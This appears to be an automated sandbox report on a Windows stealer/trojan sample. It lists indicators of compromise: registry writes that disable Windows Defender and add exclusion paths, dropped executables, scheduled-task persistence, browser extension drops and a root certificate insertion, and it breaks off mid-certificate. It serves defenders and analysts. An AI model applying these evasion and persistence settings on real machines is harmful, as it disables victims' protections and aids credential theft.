45c1a47a3fea1a7d88ed494bedd6b4c0310e6a737e05b0269c40b7414219dfc4

Analysis

max time kernel
132s
max time network
135s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
26-09-2022 09:03

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

01093d931a36c434e7878f0cfa07b48e
SHA1

9442c56ed4485549645b670da0b501dead8a66b0
SHA256

45c1a47a3fea1a7d88ed494bedd6b4c0310e6a737e05b0269c40b7414219dfc4
SHA512

3300cdb72d474f9fa374648561076db9760d9f2acfbdebc0e2992c726ef1edcc3c6151974e1dd215c676b3c9037353271c207bdda22ed7bc35a7115b25793921
SSDEEP

98304:91OXWrSAU9W8z4tHRA7tIvdSy+3z7L7Q6InP88edCzKy5P/Q6AQhj4LYsiynKarW:91OmQz4txApcPWWeANwvFnKgve

Score

10^/10

discovery evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\euGiausHkJdtKpVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\oCRUNVefZTIhACRx = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\aIaOnhtotwUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BrFEHzbpwZEBC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZFNizbZnU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\oCRUNVefZTIhACRx = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BrFEHzbpwZEBC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\oCRUNVefZTIhACRx = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\oCRUNVefZTIhACRx = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gCafjQbERGAU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\PKTFfLRluxQTmPRqk = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\aIaOnhtotwUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\gCafjQbERGAU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR = "0"
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\euGiausHkJdtKpVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ZFNizbZnU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR = "0"	reg.exe

Blocklisted process makes network request 6 IoCs

Processes:

rundll32.exe

flow pid process

29 796 rundll32.exe
30 796 rundll32.exe
31 796 rundll32.exe
32 796 rundll32.exe
33 796 rundll32.exe
35 796 rundll32.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeiPRZajv.exedHxmyiq.exe

pid process

1672 Install.exe
1428 Install.exe
1492 iPRZajv.exe
1572 dHxmyiq.exe

flow	pid	process
29	796	rundll32.exe
30	796	rundll32.exe
31	796	rundll32.exe
32	796	rundll32.exe
33	796	rundll32.exe
35	796	rundll32.exe

pid	process
1672	Install.exe
1428	Install.exe
1492	iPRZajv.exe
1572	dHxmyiq.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

dHxmyiq.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Control Panel\International\Geo\Nation dHxmyiq.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3845472200-3839195424-595303356-1000\Control Panel\International\Geo\Nation	dHxmyiq.exe

Loads dropped DLL 12 IoCs

Processes:

file.exeInstall.exeInstall.exerundll32.exe

pid	process
240	file.exe
1672	Install.exe
1672	Install.exe
1672	Install.exe
1672	Install.exe
1428	Install.exe
1428	Install.exe
1428	Install.exe
796	rundll32.exe
796	rundll32.exe
796	rundll32.exe
796	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

Processes:

dHxmyiq.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	dHxmyiq.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	dHxmyiq.exe

Drops file in System32 directory 23 IoCs

Processes:

powershell.EXEdHxmyiq.exepowershell.EXEiPRZajv.exerundll32.exeInstall.exepowershell.EXEpowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	dHxmyiq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	dHxmyiq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	dHxmyiq.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	iPRZajv.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	iPRZajv.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	iPRZajv.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	dHxmyiq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	dHxmyiq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	dHxmyiq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	dHxmyiq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	dHxmyiq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	dHxmyiq.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	dHxmyiq.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	dHxmyiq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	dHxmyiq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	dHxmyiq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	dHxmyiq.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Drops file in Program Files directory 13 IoCs

Processes:

dHxmyiq.exe

description	ioc	process
File created	C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR\CTdZmWQ.xml	dHxmyiq.exe
File created	C:\Program Files (x86)\BrFEHzbpwZEBC\ElnPlHl.dll	dHxmyiq.exe
File created	C:\Program Files (x86)\BrFEHzbpwZEBC\lzpHePQ.xml	dHxmyiq.exe
File created	C:\Program Files (x86)\aIaOnhtotwUn\nRACfiz.dll	dHxmyiq.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	dHxmyiq.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	dHxmyiq.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	dHxmyiq.exe
File created	C:\Program Files (x86)\ZFNizbZnU\wnGToxI.xml	dHxmyiq.exe
File created	C:\Program Files (x86)\gCafjQbERGAU2\NPQogOnZwRbhx.dll	dHxmyiq.exe
File created	C:\Program Files (x86)\gCafjQbERGAU2\MdJBKeZ.xml	dHxmyiq.exe
File created	C:\Program Files (x86)\ogOKxwoIKtPajjLdTvR\svtUfoH.dll	dHxmyiq.exe
File created	C:\Program Files (x86)\ZFNizbZnU\PoOZRh.dll	dHxmyiq.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	dHxmyiq.exe

Drops file in Windows directory 4 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\bdJibvckjBbeomyLL.job	schtasks.exe
File created	C:\Windows\Tasks\byLWBUphYKVPGqoaZN.job	schtasks.exe
File created	C:\Windows\Tasks\iczjDJyUUtiHxBiey.job	schtasks.exe
File created	C:\Windows\Tasks\BQFrhQQBtTmYywN.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1980	schtasks.exe
1020	schtasks.exe
1244	schtasks.exe
1088	schtasks.exe
1968	schtasks.exe
1564	schtasks.exe
1708	schtasks.exe
388	schtasks.exe
828	schtasks.exe
1852	schtasks.exe
1388	schtasks.exe
1924	schtasks.exe
1984	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

rundll32.exewscript.exedHxmyiq.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-e2-cf-3a-b1-91\WpadDecisionTime = 70f583d797d1d801	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dHxmyiq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-e2-cf-3a-b1-91\WpadDecisionReason = "1"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{008F2908-CE95-4B61-8E93-47EA8C10AE65}	dHxmyiq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	dHxmyiq.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0086000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-e2-cf-3a-b1-91	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0086000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-e2-cf-3a-b1-91	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	dHxmyiq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-e2-cf-3a-b1-91\WpadDecision = "0"	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dHxmyiq.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dHxmyiq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	dHxmyiq.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{008F2908-CE95-4B61-8E93-47EA8C10AE65}\WpadDecisionTime = 70f583d797d1d801	dHxmyiq.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{008F2908-CE95-4B61-8E93-47EA8C10AE65}\WpadNetworkName = "Network 3"	dHxmyiq.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-e2-cf-3a-b1-91\WpadDecisionReason = "1"	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	dHxmyiq.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{008F2908-CE95-4B61-8E93-47EA8C10AE65}\be-e2-cf-3a-b1-91	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{008F2908-CE95-4B61-8E93-47EA8C10AE65}\WpadDecision = "0"	dHxmyiq.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-e2-cf-3a-b1-91\WpadDecisionTime = 70f583d797d1d801	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	dHxmyiq.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{008F2908-CE95-4B61-8E93-47EA8C10AE65}\be-e2-cf-3a-b1-91	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\be-e2-cf-3a-b1-91\WpadDetectedUrl	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	dHxmyiq.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

dHxmyiq.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d